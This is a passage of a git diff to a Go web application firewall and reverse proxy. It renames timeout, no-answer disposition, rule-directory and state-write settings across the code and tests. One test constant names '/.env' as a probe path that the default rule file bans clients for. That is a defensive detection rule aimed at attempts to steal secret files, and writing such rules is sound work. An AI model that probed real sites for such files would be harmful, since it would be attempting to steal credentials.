)
@@ -1047,9 +1049,9 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
line := out.requestLine(t)
if line["status"] != float64(tc.status) ||
line["default_disposition"] != nil {
line["waf_backend_no_answer"] != nil {
t.Errorf(
"line %v, want status %d and no default",
"line %v, want status %d and no waf_backend_no_answer",
line,
tc.status,
)
@@ -1109,7 +1111,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
_, _ = w.Write(make([]byte, size))
})
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
timeoutSetting: "60000",
wafBackendTimeout: "60000",
})
got := get(t, addr, "/")
@@ -1202,7 +1204,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
"a 101 that holds its connection open": answeringWith(switchAndHold),
} {
for _, setting := range []string{dispositionAllow, dispositionDeny} {
t.Run(name+" with the default "+setting, func(t *testing.T) {
subtest := name + " with " + noAnswerSetting + "=" + setting
t.Run(subtest, func(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {
@@ -1213,8 +1216,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
backend(t),
app.URL,
map[string]string{
timeoutSetting: "60000",
defaultDisposition: setting,
wafBackendTimeout: "60000",
noAnswerSetting: setting,
},
)
@@ -1224,7 +1227,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
line := out.requestLine(t)
if line["status"] != float64(http.StatusBadGateway) ||
line["disposition"] != nil || line["default_disposition"] != nil {
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
t.Errorf(
"line %v, want status 502 and no disposition",
line,
@@ -1242,7 +1245,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
standIn := startWAF(t, overOneMiB(dispositionDeny))
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
timeoutSetting: "60000",
wafBackendTimeout: "60000",
})
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
@@ -1253,7 +1256,9 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
standIn.wantNoReport(t)
}
func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
t *testing.T,
) {
t.Parallel()
for name, backend := range noAnswers() {
@@ -1266,7 +1271,7 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
backend(t),
app.URL,
map[string]string{
timeoutSetting: "200",
wafBackendTimeout: "200",
},
)
@@ -1274,8 +1279,11 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
line := out.requestLine(t)
if line["disposition"] != dispositionAllow ||
line["default_disposition"] != true {
t.Errorf("line %v, want allow by default", line)
line["waf_backend_no_answer"] != true {
t.Errorf(
"line %v, want allow and waf_backend_no_answer",
line,
)
}
})
@@ -1290,8 +1298,8 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
backend(t),
app.URL,
map[string]string{
timeoutSetting: "200",
defaultDisposition: dispositionDeny,
wafBackendTimeout: "200",
noAnswerSetting: dispositionDeny,
},
)
@@ -1302,18 +1310,21 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
line := out.requestLine(t)
if line["disposition"] != dispositionDeny ||
line["default_disposition"] != true {
t.Errorf("line %v, want deny by default", line)
line["waf_backend_no_answer"] != true {
t.Errorf(
"line %v, want deny and waf_backend_no_answer",
line,
)
}
})
}
}
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
t.Parallel()
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
t.Run("with the default "+disposition, func(t *testing.T) {
t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
t.Parallel()
standIn := startWAF(
@@ -1330,8 +1341,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
standIn.URL,
app.URL,
map[string]string{
timeoutSetting: "60000",
defaultDisposition: disposition,
wafBackendTimeout: "60000",
noAnswerSetting: disposition,
},
)
@@ -1343,7 +1354,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
line := out.requestLine(t)
if line["status"] != 0.0 || line["disposition"] != nil ||
line["default_disposition"] != nil {
line["waf_backend_no_answer"] != nil {
t.Errorf("line %v, want status 0 and no disposition", line)
}
@@ -1356,7 +1367,9 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
}
}
func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
t *testing.T,
) {
t.Parallel()
app := startApp(t, greet)
@@ -1374,7 +1387,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
})
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
timeoutSetting: "200",
wafBackendTimeout: "200",
})
wantGreeting(t, get(t, addr, "/"))
@@ -1438,7 +1451,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
app := startApp(t, greet)
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
timeoutSetting: "60000",
wafBackendTimeout: "60000",
})
t.Cleanup(func() { close(release) })
@@ -1481,7 +1494,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
// The time limit is long enough for a loaded host to answer the question before
// it runs out.
addr, out := startRProxy(t, backend, app.URL, map[string]string{
timeoutSetting: "3000",
wafBackendTimeout: "3000",
})
t.Cleanup(func() { close(release) })
@@ -1511,7 +1524,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
backend := startWAFAnsweringReports(t, allow, switchAndHold)
app := startApp(t, greet)
addr, out := startRProxy(t, backend, app.URL, map[string]string{
timeoutSetting: "60000",
wafBackendTimeout: "60000",
})
wantGreeting(t, get(t, addr, "/"))
@@ -1599,7 +1612,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
backend.URL,
app.URL,
map[string]string{
timeoutSetting: "5000",
wafBackendTimeout: "5000",
},
)
@@ -1892,10 +1905,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
}
}
if line["default_disposition"] != nil {
if line["waf_backend_no_answer"] != nil {
t.Errorf(
"default_disposition is %v, want it left out",
line["default_disposition"],
"waf_backend_no_answer is %v, want it left out",
line["waf_backend_no_answer"],
)
}
+12 -11
View File
@@ -67,15 +67,16 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
rq.answer(http.StatusBadGateway)
default:
// waf cannot be connected to, does not answer at all, or does not answer
// within SWW_RPROXY_TIMEOUT_MS. A request that keeps waf busy past
// SWW_RPROXY_TIMEOUT_MS, like any request while waf is overloaded, gets
// SWW_RPROXY_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
// whenever waf is slow. Making such requests hard to send is
// within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. A request that keeps waf
// busy past SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, like any request while
// waf is overloaded, gets SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION
// here. deny closes this, at the cost of answering 503 whenever waf is
// slow. Making such requests hard to send is
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
rq.disposition = rq.h.config.DefaultDisposition
rq.byDefault = true
rq.disposition = rq.h.config.WAFBackendNoAnswerDisposition
rq.wafNoAnswer = true
if rq.disposition == waf.DispositionAllow {
rq.passToApp(ctx)
@@ -86,10 +87,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
}
// ask sends waf the question, and returns its answer, which must have come
// whole within SWW_RPROXY_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
// away.
// whole within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It ends when ctx does, as
// when the visitor goes away.
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
ctx, cancel := context.WithTimeout(ctx, rq.h.config.WAFBackendTimeout)
defer cancel()
question, err := rq.newQuestion(ctx)
@@ -242,14 +243,14 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
}
// postReport posts report to waf, and waits for its answer for up to
// SWW_RPROXY_TIMEOUT_MS.
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS.
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
body, err := json.Marshal(report)
if err != nil {
return fmt.Errorf("encode the report: %w", err)
}
ctx, cancel := context.WithTimeout(ctx, h.config.Timeout)
ctx, cancel := context.WithTimeout(ctx, h.config.WAFBackendTimeout)
defer cancel()
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
+6 -6
View File
@@ -1,5 +1,5 @@
// Package rules reads the rule files: the plain text files in
// SWW_WAF_RULES_DIR, one rule to a line, that each request is checked
// SWW_WAF_RULE_FILES_DIR, one rule to a line, that each request is checked
// against, as the "Rule files" section of SPEC.md describes. They are read
// at start, and again once the directory has had no change for a short
// time after one is edited, added or removed.
@@ -40,7 +40,7 @@ const (
// extension ends the name of every rule file.
const extension = ".rules"
// quietTime is how long SWW_WAF_RULES_DIR must go without a change before
// quietTime is how long SWW_WAF_RULE_FILES_DIR must go without a change before
// the rule files are read again, so that a file still being written, such
// as one saved in place, appended to or copied in with scp, is read only
// once whole.
@@ -103,9 +103,9 @@ type Rule struct {
// Params are what Load needs.
type Params struct {
// Dir is the directory of the rule files (SWW_WAF_RULES_DIR).
// Dir is the directory of the rule files (SWW_WAF_RULE_FILES_DIR).
Dir string
// Enabled is SWW_WAF_RULES_ENABLED: while it is false, no file is read
// Enabled is SWW_WAF_RULE_FILES_ENABLED: while it is false, no file is read
// and no rule loaded.
Enabled bool
// ProcessLog receives how many rules were read, and the error in a
@@ -275,7 +275,7 @@ func read(dir string) ([]Rule, string, error) {
entries, err := os.ReadDir(dir)
if err != nil {
return nil, dir, fmt.Errorf(
"SWW_WAF_RULES_DIR cannot be read: %w",
"SWW_WAF_RULE_FILES_DIR cannot be read: %w",
err,
)
}
@@ -310,7 +310,7 @@ func readFile(
rules []Rule,
places map[string]string,
) ([]Rule, error) {
//nolint:gosec // a rule file, in SWW_WAF_RULES_DIR
//nolint:gosec // a rule file, in SWW_WAF_RULE_FILES_DIR
data, err := os.ReadFile(path)
if err != nil {
return nil, err
+2 -2
View File
@@ -323,7 +323,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
dir := filepath.Join(t.TempDir(), "rules.d")
wantRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
wantRefused(t, dir, "SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
": no such file or directory")
}
@@ -352,7 +352,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
func TestRuleFilesOffReadNothing(t *testing.T) {
t.Parallel()
// SWW_WAF_RULES_DIR does not exist, which would stop the start.
// SWW_WAF_RULE_FILES_DIR does not exist, which would stop the start.
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
params.Enabled = false
+9 -9
View File
@@ -123,11 +123,11 @@ type Params struct {
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
Dir string
CacheDir string
// WriteDelay is how long after a ban is made bans.json is written
// (SWW_WAF_STATE_WRITE_DELAY), and CounterInterval how often every file
// is (SWW_WAF_STATE_COUNTER_INTERVAL).
WriteDelay time.Duration
CounterInterval time.Duration
// BansWriteDelay is how long after a ban is made bans.json is written
// (SWW_WAF_BANS_WRITE_DELAY), and WriteInterval how often every file
// is (SWW_WAF_STATE_WRITE_INTERVAL).
BansWriteDelay time.Duration
WriteInterval time.Duration
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
// unset, and routewatch.json then holds no answers. Alerts also receive a
@@ -318,13 +318,13 @@ func Load(params Params) (*Files, error) {
return f, nil
}
// Run writes bans.json WriteDelay after a ban is made, with every ban
// made in between, and every file every CounterInterval, until ctx is
// Run writes bans.json BansWriteDelay after a ban is made, with every ban
// made in between, and every file every WriteInterval, until ctx is
// done. A write that fails is logged, raised as a file_error alert, and
// the file is written again at its next write. Each write takes in an
// admin's edit of its file first, as writeFile describes.
func (f *Files) Run(ctx context.Context) {
interval := time.NewTicker(f.params.CounterInterval)
interval := time.NewTicker(f.params.WriteInterval)
defer interval.Stop()
var bansDue <-chan time.Time // nil while no ban waits to be written
@@ -335,7 +335,7 @@ func (f *Files) Run(ctx context.Context) {
return
case <-f.params.Ledger.Changed():
if bansDue == nil {
bansDue = time.After(f.params.WriteDelay)
bansDue = time.After(f.params.BansWriteDelay)
}
case <-bansDue:
bansDue = nil
+20 -20
View File
@@ -1273,13 +1273,13 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
// returns once Run waits for its next write, so that every write due by
// then is on disk.
func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
dir := t.TempDir()
params := newParams(dir)
params.WriteDelay = 10 * time.Second
params.BansWriteDelay = 10 * time.Second
run(t, load(t, params).Run)
// A second ban, made while the first waits to be written, puts the
@@ -1318,19 +1318,19 @@ func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
// the second ban. The other files wait for the interval, an hour
// away.
removeFiles(t, dir, bansJSON)
time.Sleep(params.WriteDelay)
time.Sleep(params.BansWriteDelay)
synctest.Wait()
wantFiles(t, dir)
})
}
func TestEveryFileWrittenEveryCounterInterval(t *testing.T) {
func TestEveryFileWrittenEveryWriteInterval(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
dir := t.TempDir()
params := newParams(dir)
params.CounterInterval = time.Minute
params.WriteInterval = time.Minute
run(t, load(t, params).Run)
// The files are removed once written, so that each interval shows
@@ -1354,21 +1354,21 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) {
synctest.Test(t, func(t *testing.T) {
dir := t.TempDir()
params := newParams(dir)
params.WriteDelay = 10 * time.Second
params.BansWriteDelay = 10 * time.Second
run(t, load(t, params).Run)
// A ban, and bans.json written with it.
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"),
midnight(), bans.Notes{})
time.Sleep(params.WriteDelay)
time.Sleep(params.BansWriteDelay)
synctest.Wait()
// A second ban is to be written WriteDelay later. Just before
// A second ban is to be written BansWriteDelay later. Just before
// then, an admin saves bans.json with the first ban lifted and
// another added.
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"),
midnight(), bans.Notes{})
time.Sleep(params.WriteDelay - time.Nanosecond)
time.Sleep(params.BansWriteDelay - time.Nanosecond)
synctest.Wait()
edit(t, dir, bansJSON, permanentBansJSON)
@@ -1399,7 +1399,7 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(
synctest.Test(t, func(t *testing.T) {
dir := t.TempDir()
params := newParams(dir)
params.CounterInterval = time.Minute
params.WriteInterval = time.Minute
run(t, load(t, params).Run)
// A directory in the way of the temporary file of clients.json, a
@@ -2404,16 +2404,16 @@ func newParams(dir string) state.Params {
})
return state.Params{
Dir: dir,
CacheDir: dir,
WriteDelay: time.Hour,
CounterInterval: time.Hour,
Dir: dir,
CacheDir: dir,
BansWriteDelay: time.Hour,
WriteInterval: time.Hour,
Ledger: bans.New(bans.Params{
LimitBanDuration: time.Hour,
LimitBanRepeatWindow: 24 * time.Hour,
MaxBanDuration: 7 * 24 * time.Hour,
AttackBanDuration: 7 * 24 * time.Hour,
MaxBans: 5000,
LimitBanDuration: time.Hour,
LimitBanRepeatWindow: 24 * time.Hour,
LimitBanPermanentAbove: 7 * 24 * time.Hour,
AttackBanDuration: 7 * 24 * time.Hour,
MaxBans: 5000,
}),
Limiter: ratelimit.New(ratelimit.Limits{}, 20000),
GeoJS: lookup.New(lookup.Params{
@@ -2447,7 +2447,7 @@ func newParams(dir string) state.Params {
RequestsPerMinute: 1000,
BytesPerMinute: 1 << 30,
},
Watch: anomaly.Thresholds{RequestsPerHour: 1000},
WatchedNet: anomaly.Thresholds{RequestsPerHour: 1000},
NetV4Prefix: 24,
NetV6Prefix: 48,
NamedNetblocks: []anomaly.NamedNetblock{
+9 -4
View File
@@ -33,9 +33,9 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
out := &output{}
exited := make(chan int, 1)
settings := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
}
go func() {
@@ -120,7 +120,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
// Another setting does not fail it, even an invalid one, and neither does
// SWW_RPROXY_WAF_BACKEND being unset.
wantHealthCheck(t, settings("SWW_RPROXY_TIMEOUT_MS", "soon"), 0, "")
wantHealthCheck(
t,
settings("SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", "soon"),
0,
"",
)
// Another test can take a closed server's port at once, so the app's
// address here is a multicast address, to which TCP cannot connect.
+5 -4
View File
@@ -15,10 +15,11 @@ import (
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
// requests until ctx is done. Then it gives the requests in progress
// shutdownTimeout to finish, and the reports being sent SWW_RPROXY_TIMEOUT_MS. It
// returns the process's exit status, 1 when rproxy cannot start. Its process
// messages name the host's name as instance, and it writes those at info or
// more severe: rproxy has no setting for either.
// shutdownTimeout to finish, and the reports being sent
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
// when rproxy cannot start. Its process messages name the host's name as
// instance, and it writes those at info or more severe: rproxy has no
// setting for either.
func RunRProxy(ctx context.Context, params Params) int {
hostname, _ := os.Hostname() // "" when the host has no name to give
processLog := requestlog.NewProcessLogger(
+13 -12
View File
@@ -31,8 +31,8 @@ const (
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
// rproxyUpstreamURL is the setting that says where the app is.
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
// rproxyTimeout is the setting that says how long rproxy waits for waf.
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
// bannedProbe is a path the default rule file bans a client for.
bannedProbe = "/.env"
// otherClient is a client the tests do not ban.
@@ -135,9 +135,9 @@ func wafSettings(t *testing.T) map[string]string {
t.Helper()
return map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
}
}
@@ -241,12 +241,13 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
forwardTo("")
stop()
// With waf down, the site answers, and rproxy says the default did it.
// With waf down, the site answers, and rproxy says
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
line := out.line(t, "path", "/after-stop")
if line["disposition"] != waf.DispositionAllow ||
line["default_disposition"] != true {
line["waf_backend_no_answer"] != true {
t.Errorf("rproxy's line is %v", line)
}
@@ -475,7 +476,7 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
}
line := out.line(t, "path", "admin")
if line["disposition"] != nil || line["default_disposition"] != nil {
if line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
t.Errorf("rproxy's line is %v, want no disposition", line)
}
}
@@ -496,7 +497,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
line := out.line(t, "path", bannedProbe)
if line["client_ip"] != "2001:db8::1" ||
line["default_disposition"] != nil {
line["waf_backend_no_answer"] != nil {
t.Errorf("rproxy's line is %v", line)
}
}
@@ -691,7 +692,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
env := map[string]string{
rproxyListenAddr: localhost + ":0",
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
rproxyTimeout: "60000",
wafBackendTimeout: "60000",
wafBackend: backend.URL,
}
out := &output{}
@@ -855,8 +856,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
}{
{"no backend", wafBackend, nil},
{
"another invalid", rproxyTimeout,
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
"another invalid", wafBackendTimeout,
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
},
} {
t.Run(tc.name, func(t *testing.T) {
+29 -29
View File
@@ -116,7 +116,7 @@ func RunWAF(ctx context.Context, params Params) int {
processLog := requestlog.NewProcessLogger(params.Stdout,
config.InstanceName(params.Viper), slog.LevelError)
cfg, err := config.FromEnvironment(params.Viper)
cfg, err := config.WAFFromEnvironment(params.Viper)
if err != nil {
return cannotStart(processLog, "invalid setting", err)
}
@@ -159,7 +159,7 @@ func RunWAF(ctx context.Context, params Params) int {
func runWAFWithSettings(
ctx context.Context,
version string,
cfg *config.Config,
cfg *config.WAF,
stdout io.Writer,
remote *remotelog.Sender,
processLog *slog.Logger,
@@ -170,8 +170,8 @@ func runWAFWithSettings(
alertQueue := newAlertQueue(cfg, now, processLog)
ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RulesDir,
Enabled: cfg.RulesEnabled,
Dir: cfg.RuleFilesDir,
Enabled: cfg.RuleFilesEnabled,
ProcessLog: processLog,
Alerts: alertQueue,
})
@@ -246,7 +246,7 @@ func cannotStart(processLog *slog.Logger, message string, err error) int {
// after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
// database that cannot be read is an error.
func newServer(
cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
cfg *config.WAF, stdout io.Writer, processLog *slog.Logger,
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
crs *coreruleset.CoreRuleSet,
) (*waf.Server, error) {
@@ -293,33 +293,33 @@ func newServer(
// loadStateFiles reads the state and cache files into the parts of server and
// into alertQueue, as state.Load does.
func loadStateFiles(
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
cfg *config.WAF, server *waf.Server, alertQueue *alerts.Queue,
now func() time.Time, processLog *slog.Logger,
) (*state.Files, error) {
return state.Load(state.Params{
Dir: cfg.StateDir,
CacheDir: cfg.CacheDir,
WriteDelay: cfg.StateWriteDelay,
CounterInterval: cfg.StateCounterInterval,
Ledger: server.Ledger,
Limiter: server.Limiter,
GeoJS: server.GeoJS,
Lists: server.Lists,
DNSBL: server.DNSBL,
AbuseIPDB: server.AbuseIPDB,
RouteWatch: server.RouteWatch,
Alerts: alertQueue,
Anomalies: server.Anomalies,
Now: now,
ProcessLog: processLog,
Metrics: server.Metrics,
Dir: cfg.StateDir,
CacheDir: cfg.CacheDir,
BansWriteDelay: cfg.BansWriteDelay,
WriteInterval: cfg.StateWriteInterval,
Ledger: server.Ledger,
Limiter: server.Limiter,
GeoJS: server.GeoJS,
Lists: server.Lists,
DNSBL: server.DNSBL,
AbuseIPDB: server.AbuseIPDB,
RouteWatch: server.RouteWatch,
Alerts: alertQueue,
Anomalies: server.Anomalies,
Now: now,
ProcessLog: processLog,
Metrics: server.Metrics,
})
}
// newAlertQueue returns the queue of the alerts to the webhook, Slack and
// ntfy, with the settings for them.
func newAlertQueue(
cfg *config.Config, now func() time.Time, processLog *slog.Logger,
cfg *config.WAF, now func() time.Time, processLog *slog.Logger,
) *alerts.Queue {
return alerts.New(alerts.Params{
WebhookURL: cfg.AlertWebhookURL,
@@ -338,13 +338,13 @@ func newAlertQueue(
// newRemoteLogSender returns a sender of the log lines to
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
return remotelog.New(remotelog.Params{
URL: cfg.LogRemoteURL,
RootCAs: cfg.LogRemoteTLSCAs,
Buffer: cfg.LogRemoteBuffer,
Facility: cfg.LogRemoteFacility,
AppName: cfg.LogRemoteAppName,
URL: cfg.LogRemoteURL,
RootCAs: cfg.LogRemoteTLSCAs,
BufferLines: cfg.LogRemoteBufferLines,
Facility: cfg.LogRemoteFacility,
AppName: cfg.LogRemoteAppName,
})
}
+1 -1
View File
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
Scheme: remotelog.SchemeTCP,
Host: "127.0.0.1:65536",
},
Buffer: 1,
BufferLines: 1,
})
stopSending := startSending(t.Context(), sender,
+70 -66
View File
@@ -34,20 +34,20 @@ const (
// testVersion is the version the tests give sww.
testVersion = "test"
// localhost is where the tests listen.
localhost = "127.0.0.1"
listenAddr = "SWW_WAF_LISTEN_ADDR"
stateDir = "SWW_WAF_STATE_DIR"
stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
cacheDir = "SWW_WAF_CACHE_DIR"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
rulesDir = "SWW_WAF_RULES_DIR"
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
instanceName = "SWW_WAF_INSTANCE_NAME"
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
localhost = "127.0.0.1"
listenAddr = "SWW_WAF_LISTEN_ADDR"
stateDir = "SWW_WAF_STATE_DIR"
bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY"
stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL"
cacheDir = "SWW_WAF_CACHE_DIR"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
instanceName = "SWW_WAF_INSTANCE_NAME"
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set.
adminSecret = "fedcba9876543210fedcba9876543210"
// instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
@@ -246,9 +246,9 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
out := &output{}
status := run(t.Context(), map[string]string{
listenAddr: taken.Addr().String(),
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
listenAddr: taken.Addr().String(),
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
}, out)
if status != 1 {
t.Errorf("exit status %d, want 1", status)
@@ -268,9 +268,9 @@ func TestServesUntilToldToStop(t *testing.T) {
go func() {
exited <- run(ctx, map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
listenAddr: localhost + ":0",
stateDir: dir,
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
}, out)
}()
@@ -320,7 +320,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
exited <- run(ctx, map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
"SWW_WAF_LOG_LEVEL": "warn",
}, out)
@@ -361,7 +361,7 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
metricsToken: token,
instanceName: instance,
}
@@ -398,12 +398,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
rateLimitPerDay: "2",
// Neither comes due in the test: the files are written as
// sww stops.
stateWriteDelay: "1h",
stateCounterInterval: "1h",
bansWriteDelay: "1h",
stateWriteInterval: "1h",
}
// The two requests a day allows, and a stop.
@@ -434,7 +434,7 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
rateLimitPerDay: "1",
scope: "24",
}
@@ -478,13 +478,13 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: t.TempDir(),
listenAddr: localhost + ":0",
stateDir: dir,
ruleFilesDir: t.TempDir(),
// No write comes due in the test, so only the watch on the
// directory can take the edits in.
stateWriteDelay: "1h",
stateCounterInterval: "1h",
bansWriteDelay: "1h",
stateWriteInterval: "1h",
}
